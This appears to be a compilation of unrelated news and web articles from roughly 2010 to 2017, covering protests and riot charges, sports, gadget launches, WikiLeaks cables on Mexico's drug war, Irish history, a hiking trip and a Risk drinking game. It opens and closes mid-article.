much-loved 90s TV series where FBI agents probe the paranormal, The X Files cost $1.5m per episode for the first five series, according to IMDB. Adjusted for inflation to 2007, when the Pentagon operation started, that's $2.1m.  Verdict: The Department of Defense could have borrowed the intrepid agents for roughly nine-and-a-half episodes. Good value? Maybe. Number of aliens encountered by Fox Mulder and Dana Scully: several. Number the US government owns up to: none so far...  Image copyright Fox/Getty Images Image caption Special Agents Fox Mulder and Dana Scully: Better with aliens than the Pentagon  The RMS Titanic versus the film Titanic  Back in 1997, it was a rite of passage to sob through the epic disaster romance Titanic to the ubiquitous strains of Celine Dion.  Leo DiCaprio and Kate Winslet captured hearts as the doomed lovers Jack and Rose, but 11 Oscars came at a price: $200m.  So which cost more, the movie or the unlucky vessel?  Construction of the real-life Titanic began in 1909, and it was built and furnished for an estimated $7.5m. That's equivalent to about $127m when the film came out.  Verdict: The blockbuster takes it. Seemingly, it costs more to tell the story of an ill-starred luxury liner than it did to build it in the first place.  Image copyright United Archives GmbH / Alamy Stock Photo Image caption Kate and Leo's Titanic cost more than the original ship  ER versus a real US emergency room  US healthcare is notoriously expensive; and the same was true of medical drama ER, which helped George Clooney shoot to stardom.  In 1998, US TV network NBC offered its makers Warner Bros an unprecedented $13m per episode for the antics of Doctors Greene, Corday, Weaver et al.  How does that compare to the cost of running a real ER?  The John H Stroger Jr Hospital, in Cook County, Illinois, was the model for fictional Cook County General Hospital, and kindly gave the BBC a breakdown.  Its emergency department takes about $41m a year to run, including staff and supplies.  Verdict: That $13m equates to $19m an episode in today's dollars. On that maths, you could run the real-life ER for five-and-a-half months for the cost of just one TV instalment.  Image copyright NBC/Getty Images Image caption TV gold: The cast of ER pictured in 1997  Update 26 December 2017: This report has been updated to explain the calculation of the Sovereign Grant and clarify its cost to taxpayers.
-Police seized several weapons and arrested 14 protesters in Portland on Sunday as a day of demonstrations descended into chaos.  The arrests were made throughout the course of the day at a "variety of locations” during multiple protests in the city’s downtown area, according to the Portland Police Department.  The protests came just days after two Portland men were stabbed to death while trying to fend off a man who shouted anti-Muslim insults at two young girls on a light-rail train.  Several Arrested During Protest in Downtown Portland on Sunday Afternoon (Photo) https://t.co/z43dW5cakT pic.twitter.com/RTzhcE12Qb — Portland Police (@PortlandPolice) June 5, 2017  At least three demonstrations occurred across the city on Sunday, including a controversial pro-Donald Trump free speech rally at near city hall, which spurred counter protests. The demonstrations drew thousands of participants, according to ABC affiliate KATU.  Portland Mayor Ted Wheeler had fought to have the federal permit for the Trump Free Speech Rally revoked, saying it could “exacerbate an already difficult situation” and threaten public safety.  At one point, authorities fired pepper balls and flash-bang grenades to clear crowds after protesters threw “a significant amount of projectiles” at police, the department said. Police also seized multiple weapons and other items, including hammers, bricks and chains.  Another collection of weapons seized today. pic.twitter.com/tdMmMSM2Wp — Portland Police (@PortlandPolice) June 5, 2017  “We have to understand that it’s legitimate that Portland’s shaken up right now," rally organizer Joey Gibson told a crowd at Terry Schrunk Plaza, located across from the Portland City Hall. "They did everything they can to keep us out of here because they thought that we’re going to come in here and just ruin the city ... and spread out hate speech. … We’ve got to prove them wrong," he said, according to KATU.  Police said protests at the plaza were mostly peaceful, but a separate protest at Chapman Square “required significant attention from law enforcement.”  The 14 suspects, who ranged from 19- to 64-years-old, are scheduled to appear in court on Friday.
-This Risk Drinking Game is a great solution for anyone who wants to spice up this classic game. And well, since you’ll be playing for the next 6 hours you may as well make a party out of it. It follows all the original rules of risk except with some added drinking rules to help keep it interesting. There’s nothing wrong with a little drunken diplomacy.  Requirements:  The Game Of Risk, and drinks of choice.  Set up:  Set up Risk as you normally would.  Summary:  Players play a game or risk where they must drink whenever they lose an army and eliminated players must down their whole drink.  Risk Drinking Rules:  While most of the rules remain the same as regular risk the stakes are raised in that players must drink for making mistakes. Once the game is set up there there will be a few drinking games added in.  Whenever a player loses a unit he must take a sip of his drink.  Whenever a player claims units for having a whole continent under their control he gets to give out drinks equal to units gained this way.  Once eliminated a player must finish the rest of their drink.  Optional rule; Drunken advantage  This optional rule gives players an advantage in exchange for taking drinks. At any point in the game any player can reroll 1 die if they take 3 sips of their drink. Sure it sounds like a lot now but by the end of the game dumb ideas start to sound like good ones.  We highly recommend using the optional drunken advantage rule. It really adds a layer to the game where the most confident players gain a quick lead only to have to bow out before the end of the game because they went too hard too early.  Overall this Risk drinking game is quite a bit of drinking even without the optional rule. It’s not surprising to see players bow out way before the game is finished. So please remember to Drink Responsibly.
-Arsenal and Chilean international attacking midfielder Alexis Sanchez has been named the PFA Fans’ Player of the Season. Over 200,000 votes were cast since the final ten man shortlist was announced at the start of this month and Sanchez beat off competition from Chelsea midfielder Eden Hazard who finished second and Manchester City striker Sergio Aguero who finished third to take the award.  The Arsenal midfielder has enjoyed an outstanding first season in English football scoring 16 goals and providing eight assists for his team-mates in 35 appearances. Sanchez helped Arsenal finish in 3rd place in the Premier League to ensure Arsene Wenger’s side qualified directly for the Champions League group stages next season. Sanchez also scored both goals in the FA Cup Semi-final against Reading and he has the chance to end his first season in English football with silverware if Arsenal can beat Aston Villa at Wembley on Saturday evening and retain the FA Cup.  Sanchez has continued to score consistently throughout the season scoring braces in the victories over Sunderland, Burnley and Stoke as well as goals against Manchester City and Liverpool. A player with great technique, he has played out wide as well as through the middle for Arsenal this season and has scored goals from both inside and outside the box. Sanchez was deservedly named the PFA Fans’ Player of the month in October in which he scored three goals and one assist and his fine form for Arsenal also saw him included in the PFA Premier League team of the year.  The PFA Fans’ Player awards are designed to give a strong voice to the supporters who are the lifeblood of the game. The awards are endorsed by the players and supported by the clubs. One lucky fan voter will be chosen to present Sanchez with the award in person at an Arsenal home game next season.  Source: DSG
-Prosecutors have indicted 214 people on felony rioting charges in connection to protests that broke out in downtown Washington, DC, on Inauguration Day.  Police originally arrested 230 people after demonstrators smashed storefronts and bus stops, launched rocks at police and set fire to a limousine on January 20.  Six police officers were injured as chaos erupted in parts of the capital, just blocks away from where Donald Trump was being sworn in as president.  A grand jury in DC charged five individuals on Tuesday, adding to the 209 defendants who were indicted earlier this month.  Those who have been indicted face up to ten years in prison and a fine up to $25,000.  A grand jury in Washington, DC, charged five individuals on Tuesday in connection to protests that broke out on Inauguration day. Another 209 defendants were indicted on rioting charges earlier this month  Police originally arrested 230 people and charged them with felony rioting after protesters smashed storefronts and bus stops, launched rocks at police and set fire to a limousine on January 20  The US Attorney's Office for the District of Columbia also announced on Tuesday that it was dropping three more cases.  The office did not say why the cases were dismissed but prosecutors have said they're working with police to review evidence related to the Inauguration Day arrests.  Some of the dismissed cases have involved journalists arrested while chronicling the actions of a group of self-described anarchists.  The indictment accuses the 209 charged of using a tactic called ‘Black Bloc’ to conceal their identities by wearing black clothing and face coverings, according to CNN.  The rioters destroyed a government vehicle, assaulted a limousine driver, smashed storefront windows and committed ‘violent and destructive acts’, according to the indictment.  Just before the Inauguration Day parade started, clashes broke out between more than 400 stone-throwing protesters and riot police in McPherson Square - just blocks from the parade in honor of newly sworn-in president.  The protest broke out just blocks from where President Donald Trump was being inaugurated (pictured above)  The US Attorney's Office for the District of Columbia also announced on Tuesday that it was dropping three more cases, but did not give reason as to why the cases were being dropped  As Trump's motorcade wound its way up Pennsylvania Avenue in the parade to the White House, protesters also descended on Franklin Square Park where they graffitied a stretch limo before setting the vehicle ablaze right outside the Washington Post building.  Court paperwork from January suggests the group of rioters did more than $100,000 in damage.  Those who have been charged had their phones seized by DC Police, who have been holding on to the devices since the arrests.  Some individuals have been targeted as part of a social media investigation into their Facebook activity by police.  A search warrant would allow Facebook to give away information including 'messages, photos, videos, timeline posts, and location information', according to Facebook's guidelines.  A subpoena would include the person's 'name, length of service, credit card information, email address(es), and a recent login/logout IP address(es)'.  IP data points could show where the suspects were the day of the protests.
-Obsidian lead designer Nathaniel Chapman has stated in an interview with Eurogamer that the developers are currently working on a patch to improve the PC version of Dungeon Siege 3‘s keyboard and mouse controls. I’ve yet to play the PC version of DS3, but I was witness to Alec’s agitated bellowing about the PC controls (among other things), so I’m going to go ahead an assume that this is a good thing.  Chapman had this to say about the PC controls:  Actually this is one thing I would have liked to have spent more time on… Basically, I think as long as PC gamers have a good way to control the combat they will enjoy it. One review – I can’t remember which – said if you play with a game pad the combat is great, so right now we’re working on improving the PC controls through an update. I think if there are PC gamers who are having a negative reaction it’s less about what the combat is, it’s more how the combat controls.  Chapman was also, however, willing to talk about smaller changes that he would have made if he could.  I think our loot system has a lot of strengths but one of the weaknesses is that it’s not very clearly communicated what each of the stats does… I think having a more fleshed-out tutorial system for the stats and what they do and how they function would be a nice thing. Having more unique armour variants too. It’s always good sequel or DLC material.  And talk about bugs a little bit. This was his response to whether gamers have the right to expect bug-free games at launch.  So, I think there are two things. One is the rose-coloured glasses effect. I think older games were just as buggy [as newer ones], but we’re more tuned-in at looking for the bugs. I personally remember old PC games and even old Nintendo games that had tons of bugs. I think the big difference is that the core technology of games has gotten more complex and it’s very difficult to get out all the little bugs. Usually in an old 2D Nintendo game a bug is no more than a few lines of code to fix, whereas in a 3D game it could be something in the animation system stomping memory in the renderer. There are so many more layers that it’s very hard to catch all the bugs. On the flipside, I think more what gamers should expect when they go out and buy a game is that they get an experience that’s worth their money. But it’s very hard to say what that is.  You can read the full interview, “Reinventing Dungeon Siege”, here. You’ll be leaving RPS, of course. Don’t forget your coat! It’s cold out there.
-After making its presence felt in the U.S. with its affordable, unlocked handsets, Florida based mobile phone company BLU is entering the Indian market. BLU has started off its Indian adventure with the launch of two new Windows Phone handsets in the country, a press release issued by the company earlier today said. The two models the company unveiled today are the BLU Win JR LTE and BLU Win HD LTE. Both these handsets will be sold through Amazon.in, as well as through Microsoft retail points across India, the release stated. BLU has also set up a new office in the northern Indian city of Gurgaon for its nationwide operations. These phones were however already available on various stores in India since the past few months.  “We are extremely excited about building our brand in India. We believe that the Indian consumer is very savvy and knows what he wants. We are committed to developing aspirational products in a price range that will make them attainable” said Samuel Ohev-Zion, CEO of BLU Products. “BLU aims to be a major player in the Indian mobile market,” he added.  Let us delve in to the technical specifications of the phones now, shall we? We will start off with the BLU Win JR LTE  BLU Win JR LTE  The BLU Win JR is an affordable Windows phone powered device that has been priced at Rs.5,999. It is powered by the 64-bit Qualcomm Snapdragon 410 chipset that runs at 1.2 Ghz. A compact device aimed ay entry level users, the BLU Win JR features a 4.5-inch FWVGA (845 X 480) display. It has 8GB of internal memory and 1GB of RAM. The phone also supports memory expansion using microSD cards of up to 64GB. Like other phones in its price range, the BLU Win JR LTE is also a dual SIM handset that supports 4G LTE networks. The phone supports plenty of connectivity options, including Bluetooth and Wi-Fi, and boasts a 2000 mAh battery. TheBLU Win JR runs Windows Phone 8.1 out-of-the-box but will be upgraded to Windows 10 soon, the company confirmed. BLU has also chosen to tread the path chosen Nokia and Microsoft and offers the the phone in plenty of color options. TheBLU Win JR gets a 5 megapixel main camera with LED flash and a VGA front camera for selfies and video calling. The phone is currently available for purchase from Amazon.in for the aforementioned price of Rs.5,999 which puts it in direct competition with several affordable Windows Phone devices from Microsoft themselves.  Next up, we talk about the…  BLU Win HD LTE  The BLU Win HD LTE, as you might have guessed by now, is the more premium of the two handsets announced today by BLU. This phone however is powered by the same Qualcomm Snapdragon chipset as the BLU Win JR but has a better display and a more premium design. The BLU Win HD gets what the company says a “metal finishing, state of the art soft touch feel, and precision cross-hatched patterns on the side keys”. It also boasts of a 2.5mm thin bezel. Other changes include the fact that the display size has been increased to 5-inches on this device. The camera also sees an upgrade with the BLU Win HD getting an 8 megapixel main camera and a 2 megapixel front camera for all the selfie addicts out there. The BLU Win HD LTE gets 8GB of internal storage – upgradeable to 64GB using microSD cards. like its more affordable sibling, the BLU Win HD also manages with just 1GB of RAM, which could be enough considering the fact that the phone runs the resource friendly Windows Phone 8.1 out-of-the-box. That said, BLU has confirmed that the BLU Win HD, too, would be receiving an official upgrade to Windows 10. The BLU Win HD has been priced at Rs.7,999 and is available on Amazon.in.  BLU has also added that, starting in November, they also plan to roll out an array of Android powered phones in the country. It would be interesting to see if they would launch the BLU Pure XL in India which is nothing but a re-branded Gionee Elife E8 that we talked about a few days ago.  [Images Via BLU]
-U.S. fears Mexico is losing war on drugs and organised crime, WikiLeaks cables reveal  The U.S. has lost hope in Mexico's ability to tackle drug cartels and organised crime, according to classified cables released by WikiLeaks.  Mexico's four-year assault on the cartels lacks a clear strategy and its military is not modern enough to take on the huge task, the messages claim.  They call into question many of the efforts publicly touted by Mexico and the U.S. about their war on organised crime.  The Mexican army is considered outdated, slow and risk averse and the $1.4billion U.S. Merida Initiative - a U.S.-Mexican co-operation plan - ill-conceived and ineffective in tackling drug trafficking.  Failing: Federal police on in a drugs bust in Mexico City  In one cable, U.S. Secretary of State Hillary Clinton asks about how the stress is affecting President Felipe Calderon's 'personality and management style'.  Another by U.S. Ambassador to Mexico Carlos Pascual notes that Calderon has admitted to having a tough year and has appeared 'down' in meetings.  'Calderon has aggressively attacked Mexico's drug-trafficking organizations but has struggled with an unwieldy and uncoordinated inter-agency and spiraling rates of violence that have made him vulnerable to criticism that his anti-crime strategy has failed,' a memo from January 29 says.  One dated Oct. 5, 2009, from then-Undersecretary for the Interior Geronimo Gutierrez Fernandez, who oversaw domestic security, expressed a 'real concern with 'losing' certain regions.'  'It is damaging Mexico's international reputation, hurting foreign investment, and leading to a sense of government impotence, Gutierrez said.  'If we do not produce a tangible success that is recognisable to the Mexican people, it will be difficult to sustain the confrontation into the next administration,' the memo says.  The classified and secret memos stand in stark contrast to the public presentation by both countries of the war on organized crime.  Calderon has insisted that the spike in violence that has killed more than 28,000 people since 2006 is a sign that the drug cartels are on the ropes and that the government controls all areas of the country.  Up in smoke: A Mexican soldier stands by as piles of cocaine are burnt  U.S. officials stage public ceremonies for the handover of helicopters and other Merida Initiative equipment and talk about Mexico's reform from a closed to an oral trial system a key tool in fighting the drug war.  Privately the U.S. notes: 'Prosecution rates for organized crime-related offenses are dismal; Two per cent of those detained are brought to trial. Only two per cent of those arrested in Ciudad Juarez have even been charged with a crime.'  Calderon's office refused to comment today.  The October 5 cable the U.S. says it would be happy to provide Mexico with more training and technology, particularly in intelligence gathering, but that it will take 'the development of strong trust through proper vetting.'  The cable also says 'it would be excellent to get to the point where there is no longer impunity for (Joaquin) Chapo Guzman,' Mexico's most-wanted drug lord.  One bright spot are the Mexican Marines, which led what U.S. Ambassador to Mexico Carlos Pascual called in one memo 'a major victory for President Calderon' - the offensive a year ago that killed drug lord Arturo Beltran Leyva, head of cartel that bears his last name.  Since then, the marines, 'with extensive U.S. training' have also taken down drug lords Sergio Villarreal Barragan, who was fighting for control of the Beltran Leyva gang after its leaders death, and Antonio Ezequiel Cardenas Guillen, or 'Tony Tormenta,' a top leader of the Gulf cartel.  But Pascual also notes that the U.S., who had information locating Beltran Leyva, originally took it to the army, which refused to move quickly.  The January 29 cable notes friction between the army and the marines.  An October 28, 2009 cable from the U.S. Embassy in Mexico City describes a proposal by Mexican Defense Secretary Gen. Guillermo Galvan Galvan to control the violence with a type of state of emergency suspending, some constitutional rights in several cities, including Ciudad Juarez, a city across the border from El Paso considered one of the most violent in the world.  The cable noted that the Mexican government had not taken such action since World War II.  But then-Interior Minister Fernando Gomez Mont batted down the idea, and in the cable, then-Charge d'Affaires John Feeley said that U.S. government analysis showed the benefits were 'uncertain at best, and the political costs appear high.'  An October 5 cable describes a dinner that the Mexican Attorney General's Office hosted for a delegation from the U.S. Department of Justice, quoting Gutierrez as saying the Merida Initiative was too hastily crafted to be effective.  'In retrospect he and other GOM (Government of Mexico) officials realize that not enough strategic thought went into Merida in the early phase,' the memo said.  'There was too much emphasis in the initial planning on equipment, which they now know is slow to arrive and even slower to be of direct utility in the fight against the DTOs (drug-trafficking organizations.)'  Both the U.S. and Mexico have said recently that Merida money in the future would be directed toward creating more effective institutions.  The January 29 memo notes that military surges in Ciudad Juarez have not worked.  Gutierrez and National Security System Coordinator Jorge Tello Peon said Calderon has to stop the violence in Ciudad Juarez, according to the cable.  'Politically ... Calderon has staked so much of his reputation there, with a major show of force that, to date, has not panned out,' the cable said Gutierrez and Peon told U.S. officials at the dinner.
-LOS ANGELES -- Doc Rivers said he and the players on the Los Angeles Clippers agreed with NBA commissioner Adam Silver's decision to ban team owner Donald Sterling for life in response to racist comments the league says Sterling made in a recorded conversation.  "I thought Adam Silver today was fantastic. He made a decision that really was the right one that had to be made," Rivers said Tuesday before the Clippers played the Golden State Warriors in Game 5 of their first-round series. "I don't think this is something we rejoice in or anything like that. I told the players about the decision and I think they were just happy there was a resolution and it's over or at least the start of it. I was just really proud of them and I've been proud of the players in the NBA overall, I've been proud of the ownership throughout the league and I think we're all in a better place because of this."  Rivers said the team was practicing when Silver made his decision and he informed the team of the ruling during their film session on Tuesday.  "I kind of said it and told them what Adam had said and honestly there was nothing in the room at that time when I said it," Rivers said. "There was complete silence. I said what I thought I needed to tell them and then we went right back to film."  There had been some discussion about Rivers' future with the team but after Silver's ruling, which includes forcing Sterling to sell the team upon the approval of three-fourths of the league owners, Rivers said he may not have much of a decision to make.  "I haven't thought about it," Rivers said. "I hadn't thought about leaving or staying. This should not be about me or what I'm doing or what I'm going to do. I love coaching. I've enjoyed these guys. I don't have an answer because I've given it zero thought. Obviously Adam's decision, if there was going to be one, makes mine easier."  Rivers viewed Silver's decision as the first step of the healing process for the Clippers after TMZ first published audio tapes of Sterling making racist comments to his girlfriend, V. Stiviano, Friday night.  "We can move forward," Rivers said. "We have to. You always have to move forward. You learn over and over that when something like this happens with the burden or racism, it always falls on the person that has been offended to respond and I've always thought that that's interesting. I felt the pressure on my players. Everyone was waiting for them to give a response. I kept thinking that they didn't do anything yet they have to respond, so Adam responded and I thought that was the sigh of relief that we needed.  "Is it over? No, it's not over, but it's the start of the healing process that we need and the start of our organization to try to get through this. I know we have a game, but I do think this has been more important and I think our players have done the best they can possibly do in this situation."  "Is it over? No, it's not over, but it's the start of the healing process that we need," Clippers coach Doc Rivers said of Donald Sterling's lifetime ban. Stephen Dunn/Getty Images  Rivers acknowledged that Clippers players considered boycotting the game if Sterling was given a slap on the wrist by the league. It was one of the reasons he canceled practice on Monday to allow his players to regroup and relax with their families after Sunday's blowout loss.  "They were waiting for a decision and that clearly could have happened," Rivers said. "That was one of the reasons I didn't have practice yesterday in a clear practice situation. When you get blown out like we got blown out you probably should have a practice. I just didn't think it would make any sense to do it. I thought they needed to go home and be with their families and breathe a little bit. Knowing that Adam was going to have a press conference today, I just felt like we knew there was going to be some kind of resolution. I was almost happy his announcement was during our practice. During the announcement, none of the players were watching it, they were practicing and preparing for a game. Afterwards is when they found out. I think that all turned out good."  When Rivers was asked how he felt still working for Sterling, Rivers said, "I don't know if I am. That's the point of this. That's why Adam did what he did."  Rivers was then asked if he could work for Sterling if he kept the team and he said, "I don't think he will."  "I think Adam has made that clear, unless there's something different than a lifetime ban," Rivers said. "A lifetime ban is a lifetime ban so I think that's already been decided and yes, I do think that's the right decision. The next step is where do we go. If you think about it, I'm coaching a team and I actually don't know who to call if I need something, so the quicker that this is done, the better for everyone. Having said that, it's going to take time and we all have to be patient."  The Clippers continued to wear black socks on Tuesday but did not do anything else as they did Sunday, when they wore their warmups inside out. Most fans wore black and a new intro video stressing "We Are One" was played before the game. Rev. Jesse Jackson was on the court pregame. He greeted Clippers captains Chris Paul, Blake Griffin and DeAndre Jordan and also chatted with Rivers. He watched the game courtside next to Paul's brother, CJ.  "I do believe this will be a safe haven for us and our crowd will be amazing tonight. I think that will help them," Rivers said. "The fourteen guys that we dress, they did nothing wrong and they need support and I think that will happen."  "I told them how much I admired them and how they handled this and just to let them know this was some closure but there's still work to do. I thought they set a very good example around the league on how they conducted themselves."
-The last time I hiked through the deep Blodgett Canyon, it was nearly 90 degrees and the sun was brutal. This time, winter was starting to creep into this ancient glacially-carved drainage. Blodgett Canyon is home to towering granite cliffs, gigantic moraine boulders, and 2 dramatic waterfalls. The falls are relatively close to one another and they are location around 5miles up the trail. The trail itself follows Blodgett Creek with its cascades and beaver ponds. The first waterfall is called Chasm Falls, and imagine this, it is a chasm. Flying the DJI Phantom 4 drone over this deep cut through the solid rock captures a scene that few (if any) have ever seen. The second falls is named Cascade Falls, and they (drumroll please) cascade a vast series of steps that covers roughly 250 yards of the streambed.  Total distance: 10.43 mi  Max elevation: 5266 ft  Total climbing: 3307 ft  Total Time: 04:53:50
-CLOSE Attorney Merrida Coxwell said the $250,000 bond was excessive for his client, a respected attorney who has no criminal history  Buy Photo Attorney Mark Mayfield listens to his attorney John Reeves during his initial apperance in court in Madison Thursday. (Photo: Rick Guy/The Clarion-Ledger)Buy Photo  Authorities say the vice chairman of the Mississippi Tea Party and two other men conspired with Clayton Kelly to photograph U.S. Sen. Thad Cochran's bedridden wife in her nursing home and create a political video against Cochran.  Mark Mayfield of Ridgeland, an attorney and state and local tea party leader, was arrested Thursday along with Richard Sager, a Laurel elementary school P.E. teacher and high school soccer coach. Police said they also charged John Beachman Mary of Hattiesburg, but he was not taken into custody because of "extensive medical conditions." All face felony conspiracy charges. Sager also was charged with felony tampering with evidence, and Mary faces two conspiracy counts.  The arrest of Mayfield, well-known in political, business and legal circles, caused shock in Mississippi, in a criminal case and election that already had Mississippi in the national spotlight.  Mayfield's attorneys — Merrida Coxwell and Mayfield's brother-in-law, former state Rep. John Reeves — quickly posted cash for Mayfield's release on a $250,000 bond but called it excessive. They and Kelly's attorney said the case appears to be politically driven.  "There's a lot of bigger powers moving, and that's why this case wasn't handled the way it should be," said Kelly's attorney Kevin Camp, who argued Kelly should face, at worst, a misdemeanor. Instead, felony charges of conspiracy and photo voyeurism were added to the count of exploitation of a vulnerable adult he already faced. He faces a total of 20 years in prison.  "It's all about politics," Camp said.  Cochran's opponent in a bitter GOP primary race, tea party-backed state Sen. Chris McDaniel of Ellisville, continued to deny any involvement with Kelly or the video and to accuse Cochran of gaming the incident for political points.  Authorities said they have no evidence at this point linking the alleged conspiracy to a campaign. But Cochran's camp has continued to question when and how McDaniel and his staff knew of it, and point to inconsistent answers McDaniel and others on the campaign have given since Kelly's arrest Friday night.  McDaniel in a statement Tuesday called on Cochran to take down a new ad. It says a "Chris McDaniel supporter has been charged with a felony for photographing his wife in a nursing home. Had enough? … Rise up against dirty politics."  McDaniel said, "It is shameful for a sitting U.S. senator to engage in such desperate slander and lies."  Mayfield has been an ardent supporter of McDaniel, as have the Mississippi Tea Party and the Central Mississippi Tea Party, both of which list Mayfield on their boards of directors. Tea party officials did not respond to requests for comment Thursday.  A photo posted recently on the McDaniel campaign's Facebook page shows Mayfield and other volunteers, saying, "Here's part of a crew that reached over 500 homes walking in Madison today. Great work team!"  Kelly, 28, of Pearl is a McDaniel supporter and an aspiring political blogger with the site "Constitutional Clayton." His friends and family say he wanted to make a name for himself and the blog, and was egged on by others over the Internet to do a hit piece on Cochran. He was trying to claim Cochran has a mistress — which Cochran has denied — while his wife languishes in a nursing home.  Kelly's wife said someone on the Internet gave him info on how to find Rose Cochran at St. Catherine's Village, and he photographed her on Easter Sunday.  John Mary (Photo: Madison Police Department)  An investigator testified Thursday that it was Kelly's third attempt to get a photograph of the incapacitated Rose Cochran.  Camp said Thursday that Kelly did not know the others arrested and had never seen them until in the holding room and courtroom.  Camp has argued that the felony exploitation law doesn't fit Kelly's alleged actions, in part because he said it would require monetary gain of more than $250 for Kelly. He also tried to kick holes in the photographing charge, which has most often been used to prosecute peeping Toms. It says it's a crime for anyone "with lewd, licentious or indecent intent" to photograph someone in a place where they would tend to be in a state of undress and have reasonable expectation of privacy.  Camp sparred with Madison Investigator Vickie Currie when she took the stand at Kelly's hearing Thursday. He said there's no evidence Kelly profited by $250 or more.  But Currie countered, "I believe (Rose Cochran's) image is priceless."  Camp said Kelly's intentions were "not lewd or licentious."  Currie countered, "I believe it was indecent."  Currie also testified Rose Cochran, who is unaware of her surroundings, was unconscious and in "bed clothes," when Kelly photographed her. She said the photos appeared to be taken at bedside, very close to Rose Cochran inside her room. Camp has claimed Kelly took them from outside her room.  Judge Dale Danks denied Camp's motion to dismiss or downgrade the charges against Kelly and his motion to reduce his bond. It remains $200,000 after the new charges. Kelly's wife, Tara, left the courthouse in tears with other family. They had hoped Kelly's bond would be reduced. Kelly mouthed "I love you" to Tara as he was led from the courtroom.  Tara and other family and friends say Kelly is a good person — a loving father to his autistic daughter — but got too wrapped up in politics and made a mistake.  Camp argued that Kelly had fulfilled his parole and always showed up when required on past drug charges. He said Kelly's "journalism" use of the photo may not be illegal.  Danks also denied lowering the bond of the others. Sager's remains at $500,000 total for his counts of conspiracy and tampering. Sager told the judge he doesn't have an attorney but plans to get one.  Richard Sager (Photo: Madison Police Department)  Danks bound Kelly and Mayfield's cases over to a grand jury after Mayfield waived a preliminary hearing and bonded out.  Coxwell argued Mayfield is a respected lawyer and pillar of the community, "of the entire state," and would not pose a flight risk under lower bond.  "This is not the first time I've been in this city where charges were filed against somebody that turned out not to be true," Coxwell said.  McDaniel on Thursday said, "As we have said since day one, the violation of the privacy of Mrs. Cochran is out of bounds for politics and reprehensible. Any individuals who were involved with this crime should be prosecuted to the fullest extent of the law."  Contact Geoff Pender at (601) 961-7266 or gpender@jackson.gannett.com. Contact Jimmie Gates at (601) 961-7212 or jgates@jackson.gannett.com. Follow @GeoffPender or @jgatesnews on Twitter.  Read or Share this story: http://on.thec-l.com/1nvsKeg
-BEFORE THE ADVENT of opinion polls, by-elections were the most reliable means of gauging the mood of the electorate.  For decades before the 1916 Rising, Irish nationalists represented by the Irish Parliamentary Party (IPP) sought Irish home rule – a subordinate parliament and government in Dublin.  But the emergence of Sinn Féin, which championed an independent Irish republic, transformed the political landscape. In 1917 Sinn Féin won four by-elections on the bounce in North Roscommon, South Longford, East Clare and South Kilkenny.  No victory was more emphatic than East Clare and no winning candidate more central to the future history of Ireland.  A political novice  The victor was a political novice with little experience of public speaking outside the classroom. The senior surviving Volunteer from 1916, he was largely unknown before the East Clare by-election.  But after it he was catapulted to national prominence, became president of Sinn Féin and represented East Clare for the next four decades. That soldier turned politician was Éamon de Valera.  The East Clare by-election on July 10 was precipitated by the death on the Western Front of the sitting MP: Major Willie Redmond, brother of the leader of the IPP.  Patrick Lynch KC, a barrister, contested the seat for the IPP under the banner: “Clare for a Clareman – Lynch is the Man”. His supporters, who were strongest in Ennis, contended that an Irish republic was a political fantasy. For several reasons, few expected anything other than a Sinn Féin victory.  One of the most rebellious counties in Ireland  First, Clare was one of the most rebellious counties in Ireland and during the by-election the county inspector of the Royal Irish Constabulary had to obtain a draft of 150 soldiers. Eight months after the by-election Clare became the first county to be placed under military rule since the 1916 Rising.  Second, no election had been contested in East Clare since 1895 and the IPP’s constituency machine was decrepit and almost bankrupt. By contrast, the Sinn Féin campaign was highly organised and backboned by the revamped Irish Volunteers who were unafraid to defy the authorities and acted as a private police force.  De Valera, who had only been released from prison on 16 June, campaigned in his Volunteer uniform and told the electors that, “every vote you give now is as good as the crack of a rifle in proclaiming your desire for freedom”.  Third, buoyed up by its earlier electoral successes Sinn Féin attracted not just the support of the young but that of the Clare Champion (the county newspaper) and, more significantly, the endorsement of Bishop Michael Fogarty of Killaloe and the majority of younger clergy. The Catholic card was played astutely and reassuringly by de Valera.  Although everyone expected a victory for de Valera, no one expected so stunning a winning margin. When the result of the election was announced on July 11 de Valera had secured 5,010 votes to Lynch’s 2,035.  A game changer  The rural vote had turned against the IPP. The Freeman’s Journal, the newspaper of the IPP, lamented that, “East Clare has declared for revolution by an overwhelming majority”. Lynch was not the man after all.  The East Clare by-election was a milestone for Sinn Féin because it secured a striking popular mandate which helped the organisation to continue its rapid growth ahead of the 1918 general election.  For de Valera his victory was a pivotal episode in his progression from militant to political republican. More than any other factor, the scale of his success propelled him to the presidency of Sinn Féin in October 1917 and launched his long political career. For a man who in the early months of 1917 wished to have no truck with politics this was quite a turn of events.  Dr Daithí Ó Corráin lectures in the School of History & Geography, Dublin City University. His research interests include the aftermath of the 1916 Rising, the Irish Revolution, the Irish and National Volunteers and twentieth-century ecclesiastical history. He is co-editor of a landmark 30-volume series on the local experience of the Irish Revolution published by Four Courts Press.  The 100th anniversary of the election of Éamon de Valera will be commemorated by Fianna Fáil Leader, Micheál Martin, the Clare Fianna Fáil organisation, and his family, today Sunday 23 July in Ennis. The will take place at the Glór Theatre at 12pm. Following the activities in the theatre, a full dress-parade, led by a brass band, will march, led by Micheál Martin and former Clare TD, Síle de Valera, from the Glór Theatre to the O’Connell Monument – the site of some of Éamon de Valera’s most famous speeches.
-Huawei's new flagship smartphone for 2016 is here, and its big claim to fame is a pair of Leica-certified cameras. The 5.2-inch Huawei P9 has a traditional 12-megapixel camera, but right next to it is another, monochrome 12-megapixel module. Working together, the two sensors can improve contrast in photos by 50 percent and triple the light information taken in by the phone. This is because the monochrome sensor doesn't have the RGB light filtering that its color sibling requires, and so is able to soak up more photons. I spent some time with the P9 ahead of its announcement in London today, and what I saw leaves me encouraged. This phone is slim, well built, performs well, and the dual-camera system isn't trying to push any unnecessary gimmicks.  The design feels cohesive, elegant, and yes, premium  The P9 falls right in line with this year's high standard for flagship Android phones. It has an aluminum unibody case, a 3,000mAh battery, a USB-C port, and an octa-core Kirin 955 processor of Huawei's own making. The fit and finish on this device are immediately impressive, and the phone's design feels cohesive, elegant, and yes, even premium. In spite of the two camera modules and sizable battery, the Huawei P9 is only 6.95mm thick (without any extra camera bumps). In Europe, the P9 will have space for a microSD card, which in China and other Asian markets will be swapped for a second SIM slot. There are a couple of other specification splits between Europe and China: the rose gold P9 won't be available in Europe and neither will the 64GB version of the handset. All P9s come with 3GB of RAM, but European models will have to limit themselves to 32GB of built-in storage.  A 5.5-inch Huawei P9 Plus is also being announced today, coming with 4GB of RAM and 64GB of storage by standard, with China also getting a bumped-up 128GB variant. The Plus model expands the battery to 3,400mAh and switches the display technology to Super 